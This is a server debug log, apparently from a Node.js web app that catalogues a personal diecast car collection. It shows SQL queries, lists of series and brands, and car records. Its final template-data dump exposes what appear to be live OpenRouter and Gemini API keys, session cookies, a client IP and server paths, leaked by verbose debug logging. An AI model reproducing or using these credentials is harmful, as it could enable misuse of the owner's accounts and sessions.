2026-02-04T07:02:21.097Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:21.097Z server-connect:output restrict: undefined
2026-02-04T07:02:21.097Z server-connect:app Executing action step paged
2026-02-04T07:02:21.097Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:02:21.098Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:02:21.098Z server-connect:output restrict: undefined
2026-02-04T07:02:21.098Z server-connect:app Executing action step select
2026-02-04T07:02:21.098Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:02:21.099Z server-connect:app Executing action step identify
2026-02-04T07:02:21.099Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:21.099Z server-connect:output identity: 1
2026-02-04T07:02:21.099Z server-connect:app Executing action step restrict
2026-02-04T07:02:21.099Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:21.100Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:02:21.100Z server-connect:output restrict: undefined
2026-02-04T07:02:21.100Z server-connect:app Executing action step select
2026-02-04T07:02:21.100Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:02:21.101Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:02:21.101Z server-connect:app Executing action step select
2026-02-04T07:02:21.101Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:02:21.102Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:02:21.103Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:02:21.103Z server-connect:app Executing action step select
2026-02-04T07:02:21.103Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:02:21.103Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:02:21.393Z server-connect:router Serving templateView /
2026-02-04T07:02:21.394Z server-connect:app Executing action step identify
2026-02-04T07:02:21.394Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:21.394Z server-connect:output identity: 1
2026-02-04T07:02:21.394Z server-connect:app Executing action step restrict
2026-02-04T07:02:21.394Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:21.395Z server-connect:output restrict: undefined
2026-02-04T07:02:21.395Z server-connect:app Executing action step restrict
2026-02-04T07:02:21.395Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:21.395Z server-connect:output restrict: undefined
2026-02-04T07:02:21.395Z server-connect:router Render template layouts/main
2026-02-04T07:02:21.395Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
